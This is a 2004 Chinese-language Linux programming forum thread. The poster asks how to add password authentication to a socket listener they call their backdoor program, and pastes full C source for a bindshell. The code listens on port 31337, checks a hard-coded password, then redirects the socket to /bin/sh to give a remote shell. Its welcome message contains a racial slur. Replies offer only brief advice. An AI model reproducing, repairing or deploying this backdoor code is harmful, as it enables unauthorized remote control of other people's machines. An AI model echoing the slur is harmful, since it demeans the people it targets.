请问如何在socket编程中实现网络登陆验证?谢谢大家!

努力偷懒 2004-11-21 11:20:33
我想我的服务器端运行类似于bindshell那样的监听程序,客户端通过telnet IP 端口号 来登陆服务器,服务器接受了连接以后向客户端发送提示输入密码的提示字样,提示客户端输入密码,客户端输入密码以后,服务器端对密码进行验证,通过验证则继续,否则关闭连接或者提示再次输入正确的密码!

请各位大侠指点一下!谢谢!也发表自己的见解!我好去找资料!
谢谢!
...全文
190 6 打赏 收藏 举报
写回复
6 条回复
切换为时间正序
当前发帖距今超过3年,不再开放新的回复
发表回复
努力偷懒 2004-12-16
winux0(阿鱼木木)
不好意思!太粗心了!没注意呢!呵呵!谢谢!
  • 打赏
  • 举报
回复
winux0 2004-11-24
if ( (pid = fork()) != 0) {
printf("bindshell is listening. pid=%d\n", pid);
return(0);
}

这下fork为何有此一举?
  • 打赏
  • 举报
回复
努力偷懒 2004-11-24
为什么没人回答了啊?我需要帮助啊!谢谢了!

我今晚再修改了一下!发现客户端使用telnet,在telnet以后是根本操作不了,更不用说向服务器端发送密码了!我再次用telnet进去以后发现进程是在循环监听的,但是问题就是无论怎么样也不能用telnet发送信息到对方接收啊!

我想了另外一个方法就是在连接以后,然后把输入通道重定向给客户端的连接文件,然后服务器端通过对那个通道进行监控!获取输入的密码是否是正确的,不知道我这个想法能不能行得通!

请大家指点一下啊!谢谢了!
  • 打赏
  • 举报
回复
onlyf 2004-11-22
登陆认证好实现,你可以在服务端保存一个用户密码文件,根据客户端输入来比较;
只是使用telnet登陆比较麻烦,要熟悉telnet协议才行。
  • 打赏
  • 举报
回复
flik 2004-11-22
输入的字符串与密码字符串比较,呵呵,不懂瞎搀和
  • 打赏
  • 举报
回复
努力偷懒 2004-11-22
对问题就是telnet登陆的问题!我想我再每一个地方都可以登陆我想登陆拥有我的后门程序运行的电脑,自己在程序里面设置了一个密码的,#define PASS 521521 代码类似下面这个:


/*
* oC-bindshell.c - a simple bindshell
*
* written by chmod_ oC-2002!
*
* originally published at <a href="http://crionized.net/" target="_blank">http://crionized.net/</a>
*
* listens for a client to connect to DEF_PORT
* and checks password, if its valid, give
* the user a shell with uid, gid of the
* user that started the bindshell.
*
* TODO: add md5 password support
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

#define PASS "elitepass"
#define DEF_PORT 31337

int main()
{
pid_t pid;
int port=DEF_PORT;
int server_sockfd, server_len;
int client_sockfd, client_len;

char msg[128];

struct sockaddr_in server_address;
struct sockaddr_in client_address;

if ( (server_sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
fprintf(stderr, "could not initialize socket\n");
exit(1);
}

server_address.sin_family = AF_INET;
server_address.sin_port = htons(port);
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
bzero(&(server_address.sin_zero), 8);

server_len = sizeof(server_address);

if ( (bind(server_sockfd, (struct sockaddr *)&server_address, server_len)) == -1) {
fprintf(stderr, "could not bind()\n");
exit(1);
}

if (listen(server_sockfd, 5) == -1) {
fprintf(stderr, "could not listen()\n");
exit(1);
}

signal(SIGCHLD, SIG_IGN);

if ( (pid = fork()) != 0) {
printf("bindshell is listening. pid=%d\n", pid);
return(0);
}

for ( ; ; ) {
client_len = sizeof(client_address);
client_sockfd = accept(server_sockfd, (struct sockaddr *)&client_address, (socklen_t *)&client_len);

if ( (pid = fork()) == 0) {
close(server_sockfd);
read(client_sockfd, msg, sizeof(msg));
if (strncmp(PASS, strtok(msg, "\r\n"), sizeof(msg)) == 0) {
write(client_sockfd, "welcome to nigger host\n", 24);
chdir("/");
dup2(client_sockfd, 0);
dup2(client_sockfd, 1);
dup2(client_sockfd, 2);
execl("/bin/sh", "sh", (char *)0);
close(client_sockfd);
exit(0);
} else {
close(client_sockfd);
exit(0);
}
}

close(client_sockfd);
}

return(0);
}

现在我在windows里面telnet IP PORT 进去后只要一输入东西,服务器端就关闭了我的连接了!
谢谢各位的支持!请帮帮忙!谢谢!
  • 打赏
  • 举报
回复
相关推荐
发帖
Linux/Unix社区
加入

2.1w+

社区成员

Linux/Unix社区 应用程序开发区
申请成为版主
帖子事件
创建了帖子
2004-11-21 11:20
社区公告
暂无公告